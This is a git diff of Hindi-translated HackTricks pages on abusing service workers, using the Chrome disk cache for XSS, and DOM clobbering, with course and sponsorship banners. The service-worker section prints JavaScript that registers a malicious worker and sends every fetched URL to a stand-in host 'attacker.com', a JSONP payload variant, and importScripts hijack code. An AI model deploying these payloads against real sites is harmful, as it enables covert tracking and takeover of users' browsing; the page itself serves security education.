सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में PR जमा करके [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,55 +1,57 @@
# Abusing Service Workers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a> <strong>के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो में पीआर जमा करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard सुरक्षा समूह**
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/in/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## मूल जानकारी
## Basic Information
**सर्विस वर्कर** एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा पृष्ठ से अलग, किसी भी वेब पृष्ठ या उपयोगकर्ता अंतर्क्रिया की आवश्यकता न होने पर सुविधाएँ सक्षम करने के लिए पृष्ठ, इसलिए **ऑफलाइन और पृष्ठ प्रसंस्करण** क्षमताओं को बढ़ाता है। सेवा वर्कर्स पर विस्तृत जानकारी [यहाँ](https://developers.google.com/web/fundamentals/primers/service-workers) मिल सकती है। एक वेब डोमेन के भीषित सर्विस वर्कर्स का दुरुपयोग करके हमलावर विक्टिम के सभी पृष्ठों के साथ इंटरेक्शन पर नियंत्रण प्राप्त कर सकते हैं।
एक **सर्विस वर्कर** एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा बैकग्राउंड में चलती है, किसी भी वेब पृष्ठ से अलग, ऐसी सुविधाओं को सक्षम करती है जिन्हें वेब पृष्ठ या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती है, इस प्रकार **ऑफलाइन और बैकग्राउंड प्रोसेसिंग** क्षमताओं को बढ़ाती है। सर्विस वर्कर्स पर विस्तृत जानकारी [यहां](https://developers.google.com/web/fundamentals/primers/service-workers) मिल सकती है। एक कमजोर वेब डोमेन के भीतर सर्विस वर्कर्स का शोषण करके, हमलावर पीड़ित के सभी पृष्ठों के साथ इंटरैक्शन पर नियंत्रण प्राप्त कर सकते हैं।
### मौजूदा सर्विस वर्कर्स की जांच
### Checking for Existing Service Workers
मौजूदा सर्विस वर्कर्स की जांच **डेवलपर टूल्स** में **एप्लिकेशन** टैब के **सर्विस वर्कर्स** खंड में की जा सकती है। एक और तरीका है [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) पर जाकर एक अधिक विस्तृत दृश्य प्राप्त करना।
मौजूदा सर्विस वर्कर्स क**डेवलपर टूल्स** के **एप्लिकेशन** टैब में **सर्विस वर्कर्स** अनुभाग में चेक किया जा सकता है। एक और तरीका है [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) पर जाकर अधिक विस्तृत दृश्य प्राप्त करना।
### पुश अधिसूचनाएँ
### Push Notifications
**पुश अधिसूचना अनुमतियाँ** सीधे रूप से एक **सर्विस वर्कर** की क्षमता पर प्रभाव डालती हैं सर्वर के साथ उपयोगकर्ता अंतर्क्रिया के बिना संवाद करने की। अगर अनुमतियाँ निरस्त की जाती हैं, तो यह सर्विस वर्कर की संभावना को एक सतत खतरा प्रस्तुत करने में सीमित करता है। उल्टे, अनुमतियाँ प्रदान करने से सुरक्षा जोखिम बढ़ जाता है क्योंकि यह संभावित दुरुपयोगों को प्राप्त करने और क्रियान्वित करने की क्षमता को सक्षम करता है।
**पुश नोटिफिकेशन अनुमतियाँ** सीधे एक **सर्विस वर्कर** की सर्वर के साथ संवाद करने की क्षमता को प्रभावित करती हैं बिना सीधे उपयोगकर्ता इंटरैक्शन के। यदि अनुमतियाँ अस्वीकृत हैं, तो यह सर्विस वर्कर की निरंतर खतरे के रूप में संभावनाओं को सीमित करता है। इसके विपरीत, अनुमतियाँ देने से सुरक्षा जोखिम बढ़ जाते हैं क्योंकि यह संभावित शोषण के रिसेप्शन और निष्पादन को सक्षम करता है।
## हमला एक सर्विस वर्कर बनाना
## Attack Creating a Service Worker
इस विकल्प को शातिरता से उपयोग करने के लिए आपको निम्नलिखित की खोज करनी होगी:
इस कमजोरी का शोषण करने के लिए आपको निम्नलिखित खोजने की आवश्यकता है:
* **सर्वर पर विभिन्न JS** फ़ाइलें अपलोड करने का एक तरीका और एक **XSS जिससे अपलोड की गई JS फ़ाइल का सर्विस वर्कर लोड हो**
* एक **भेद्य JSONP अनुरोध** जहां आप **आउटपुट को (विभिन्न JS कोड के साथ) बदल सकते हैं** और एक **XSS** जिससे **पेलोड के साथ JSONP लोड करें** जो एक दुरुपयोगी सर्विस वर्कर को लोड करेगा।
निम्नलिखित उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो एक नया सर्विस वर्कर **रजिस्टर करेगा** जो `fetch` घटना को सुनेगा और **हमलावर के सर्वर को प्रत्येक फेच की यूआरएल भेजेगा** (यह कोड आपको **सर्वर** पर **अपलोड** करने की आवश्यकता होगी या एक **भेद्य JSONP** प्रतिक्रिया के माध्यम से लोड करने की):
* सर्वर पर **मनमाने JS** फ़ाइलों को **अपलोड** करने का एक तरीका और **सर्विस वर्कर को लोड करने के लिए एक XSS** जो अपलोड की गई JS फ़ाइल का हो
* एक **कमजोर JSONP अनुरोध** जहां आप **आउटपुट (मनमाने JS कोड के साथ)** को **हेरफेर** कर सकते हैं और एक **XSS** जो **पेलोड के साथ JSONP को लोड करेगा** जो **एक दुर्भावनापूर्ण सर्विस वर्कर** को **लोड करेगा**
निम्नलिखित उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो **एक नया सर्विस वर्कर रजिस्टर करेगा** जो `fetch` इवेंट को सुनेगा और **हमलावर के सर्वर को प्रत्येक फेच की गई URL भेजेगा** (यह वह कोड है जिसे आपको **सर्वर** पर **अपलोड** करने की आवश्यकता होगी या एक **कमजोर JSONP** प्रतिक्रिया के माध्यम से लोड करना होगा):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
और यह कोड है जो **कर्मचारी को पंजीकृत** करेगा (जिसे आपको एक **XSS** का दुरुपयोग करके कार्यान्वित करना चाहिए)। इस मामले में एक **GET** अनुरोध **हमलावादियों** सर्वर पर भेजा जाएगा जो सूचित करेगा कि सेवा कर्मचारी का पंजीकरण सफल रहा या नहीं:
और यह वह कोड है जो **कार्यकर्ता को पंजीकृत** करेगा (यह कोड जिसे आपको **XSS** का दुरुपयोग करते हुए निष्पादित करने में सक्षम होना चाहिए)। इस मामले में एक **GET** अनुरोध **हमलावरों** के सर्वर पर भेजा जाएगा **सूचित** करने के लिए कि सेवा कार्यकर्ता का **पंजीकरण** सफल था या नहीं:
```javascript
<script>
window.addEventListener('load', function() {
@ -67,73 +69,69 @@ xhttp2.send();
});
</script>
```
एक विकल्प JSONP इंडपॉइंट का दुरुपयोग करने के मामले में आपको मान `var sw` के अंदर डालना चाहिए। उदाहरण के लिए:
यदि आप एक कमजोर JSONP एंडपॉइंट का दुरुपयोग कर रहे हैं, तो आपको मान को `var sw` के अंदर रखना चाहिए। उदाहरण के लिए:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
एक **C2** है जो **सेवा कर्मचारियों का शोषण** करने के लिए समर्पित है जिसे [**Shadow Workers**](https://shadow-workers.github.io) कहा जाता है जो इन दुर्बलताओं का शोषण करने के लिए बहुत उपयोगी होगा।
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
**24-घंटे कैश निर्देशिका** एक दुर्भाग्यपूर्ण या संक्रमित **सेवा कर्मचारी (SW)** की जीवनकाल की सीमा को अधिकतम 24 घंटे तक निर्धारित करती है एक एक्सएसएस दुर्भाग्यता सुधार के बाद, यदि ऑनलाइन ग्राहक स्थिति में है। दुर्भाग्यता को कम करने के लिए, साइट ऑपरेटर SW स्क्रिप्ट का समय-से-जीवन (TTL) कम कर सकते हैं। डेवलपरों को त्वरित निष्क्रिय करने के लिए एक [**सेवा कर्मचारी किल-स्विच**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) बनाने की सलाह दी जाती है।
## Abusing `importScripts` in a SW via DOM Clobbering
## DOM Clobbering के माध्यम से SW में `importScripts` का दुरुपयोग
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
सेवा कर्मचारी से बुलाई गई **`importScripts`** फ़ंक्शन **एक विभिन्न डोमेन से स्क्रिप्ट आयात कर सकती है**। यदि इस फ़ंक्शन को एक **पैरामीटर के साथ बुलाया जाता है जिसे एक हमलावार संशोधित कर सकता है** तो वह अपने डोमेन से एक जेएस स्क्रिप्ट आयात कर सकेगा और एक्सएसएस प्राप्त कर सकेगा।
**This even bypasses CSP protections.**
**यह यहाँ तक कि सीएसपी संरक्षण को भी उल्लंघन करता है।**
**उदाहरण विकल्प दुर्भाग्यपूर्ण कोड:**
**Example vulnerable code:**
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### DOM क्लॉबरिंग के साथ
### DOM Clobbering के साथ
DOM Clobbering के बारे में अधिक जानकारी के लिए जांचें:
DOM क्लॉबरिंग क्या है इसके बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
यदि SW जिसे **`importScripts`** को कॉल करने के लिए उपयोग किया जा रहा है, उस URL/domain को **एक HTML element के अंदर** है, तो **DOM Clobbering के माध्यम से इसे संशोधित करना संभव** है ताकि SW **अपने खुद के डोमेन से एक स्क्रिप्ट लोड कर सके**।
यदि URL/डोमेन जहां SW **`importScripts`** को कॉल करने के लिए उपयोग कर रहा है, **एक HTML तत्व के अंदर** है, तो इसे **DOM क्लॉबरिंग के माध्यम से संशोधित करना संभव है** ताकि SW **आपके अपने डोमेन से एक स्क्रिप्ट लोड कर सके**।
इसका उदाहरण के लिए संदर्भ लिंक देखें।
इसका उदाहरण देखने के लिए संदर्भ लिंक देखें।
## संदर्भ
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
**ट्राई हार्ड सिक्योरिटी ग्रुप**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/in/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ शून्य से हीरो तक AWS हैकिंग सीखें</summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **जुड़ें** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या मुझे ट्विटर पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो में PR जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}

View file

@ -1,45 +1,55 @@
# Chrome कैश से XSS तक
# Chrome Cache to XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मेरा** ट्विटर 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **पालन** करें।
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
इस तकनीक का विवरण यहाँ चर्चा करता है जो दो प्रमुख कैश प्रकारों: **बैक/फॉरवर्ड कैश (bfcache)** और **डिस्क कैश** के व्यवहार और अंतरक्रिया को समझने में सम्मिलित है। bfcache, जो पूरे पृष्ठ का एक संपूर्ण स्नैपशॉट संग्रहित करता है जिसमें JavaScript हीप शामिल है, बैक/फॉरवर्ड नेविगेशन के लिए डिस्क कैश की तुलना में प्राथमिकता दी जाती है क्योंकि इसकी योग्यता अधिक समग्र स्नैपशॉट संग्रहित करने में है। उल्ट, डिस्क कैश, जो वेब से प्राप्त संसाधनों को संग्रहित करता है जिसमें JavaScript हीप शामिल नहीं है, और संचार लागत को कम करने के लिए बैक/फॉरवर्ड नेविगेशन के लिए उपयोग किया जाता है। डिस्क कैश का एक दिलचस्प पहलू यह है कि इसमें `fetch` का उपयोग करके प्राप्त किए गए संसाधनों को शामिल किया जाता है, जिसका मतलब है कि ब्राउज़र द्वारा कैश से URL संसाधनों को रेंडर किया जाएगा।
More in depth details [**in this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
### मुख्य बिंदु:
यहां चर्चा की गई तकनीक दो प्रमुख कैश प्रकारों के व्यवहार और इंटरैक्शन को समझने में शामिल है: **back/forward cache (bfcache)** और **disk cache**। bfcache, जो एक पृष्ठ का एक संपूर्ण स्नैपशॉट संग्रहीत करता है जिसमें JavaScript heap शामिल है, बैक/फॉरवर्ड नेविगेशन के लिए डिस्क कैश की तुलना में प्राथमिकता दी जाती है क्योंकि यह एक अधिक व्यापक स्नैपशॉट संग्रहीत करने की क्षमता रखता है। इसके विपरीत, डिस्क कैश, वेब से प्राप्त संसाधनों को संग्रहीत करता है बिना JavaScript heap को शामिल किए, और संचार लागत को कम करने के लिए बैक/फॉरवर्ड नेविगेशन के लिए उपयोग किया जाता है। डिस्क कैश का एक दिलचस्प पहलू यह है कि इसमें `fetch` का उपयोग करके प्राप्त संसाधन शामिल होते हैं, जिसका अर्थ है कि एक्सेस किए गए URL संसाधनों को ब्राउज़र द्वारा कैश से रेंडर किया जाएगा।
- **bfcache** बैक/फॉरवर्ड नेविगेशन में डिस्क कैश की तुलना में प्राधिकरण रखता है।
- bfcache को अक्षम करने के लिए:
### Key Points:
डिफ़ॉल्ट रूप से, Puppeteer bfcache को अक्षम करता है, जो क्रोमियम की दस्तावेज़ीकरण में दी गई शर्तों के साथ मेल खाता है। bfcache को अक्षम करने का एक प्रभावी तरीका `RelatedActiveContentsExist` का उपयोग करके किया जा सकता है, जिसे `window.opener` के संदर्भ को बनाए रखने वाले `window.open()` के साथ पृष्ठ खोलकर प्राप्त किया जा सकता है।
- **bfcache** बैक/फॉरवर्ड नेविगेशन में डिस्क कैश पर प्राथमिकता रखता है।
- डिस्क कैश में संग्रहीत पृष्ठ का उपयोग करने के लिए, bfcache को निष्क्रिय करना आवश्यक है।
### व्यवहार का पुनरावृत्ति:
### Disabling bfcache:
1. किसी वेबपेज पर जाएं, जैसे, `https://example.com`
2. `open("http://spanote.seccon.games:3000/api/token")` को क्रियान्वित करें, जिससे एक सर्वर प्रतिक्रिया 500 स्थिति कोड के साथ प्राप्त होती है।
3. नए खुले टैब में, `http://spanote.seccon.games:3000/` पर नेविगेट करें। यह कार्रवाई `http://spanote.seccon.games:3000/api/token` की प्रतिक्रिया को डिस्क कैश के रूप में कैश करती है।
4. `history.back()` का उपयोग करके पिछले पेज पर नेविगेट करें। यह कार्रवाई पृष्ठ पर कैश किए गए JSON प्रतिक्रिया का रेंडरिंग करती है।
डिफ़ॉल्ट रूप से, Puppeteer bfcache को निष्क्रिय करता है, जो Chromium के दस्तावेज़ों में सूचीबद्ध शर्तों के साथ मेल खाता है। bfcache को निष्क्रिय करने का एक प्रभावी तरीका `RelatedActiveContentsExist` का उपयोग करना है, जो `window.open()` के साथ एक पृष्ठ खोलकर प्राप्त किया जाता है जो `window.opener` का संदर्भ बनाए रखता है।
डिस्क कैश का उपयोग किया गया था यह साबित करने के लिए जांच की जा सकती है गूगल क्रोम में डेवटूल्स का उपयोग करके।
### Reproducing the behavior:
bfcache और डिस्क कैश पर अधिक विवरण के लिए, संदर्भ [web.dev पर bfcache](https://web.dev/i18n/en/bfcache/) और [Chromium के डिज़ाइन दस्तावेज़ों पर डिस्क कैश](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/) में मिल सकते हैं।
1. एक वेबपृष्ठ पर जाएं, जैसे `https://example.com`
2. `open("http://spanote.seccon.games:3000/api/token")` निष्पादित करें, जिसके परिणामस्वरूप सर्वर प्रतिक्रिया 500 स्थिति कोड के साथ होती है।
3. नए खुले टैब में, `http://spanote.seccon.games:3000/` पर जाएं। यह क्रिया `http://spanote.seccon.games:3000/api/token` की प्रतिक्रिया को डिस्क कैश के रूप में कैश करती है।
4. `history.back()` का उपयोग करके वापस जाएं। यह क्रिया पृष्ठ पर कैश की गई JSON प्रतिक्रिया को रेंडर करने का परिणाम देती है।
यह सत्यापित करना कि डिस्क कैश का उपयोग किया गया था, Google Chrome में DevTools के उपयोग के माध्यम से किया जा सकता है।
bfcache और डिस्क कैश पर अधिक विवरण के लिए, संदर्भ [web.dev on bfcache](https://web.dev/i18n/en/bfcache/) और [Chromium's design documents on disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/) पर पाए जा सकते हैं।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मेरा** ट्विटर 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **पालन** करें।
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,30 @@
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
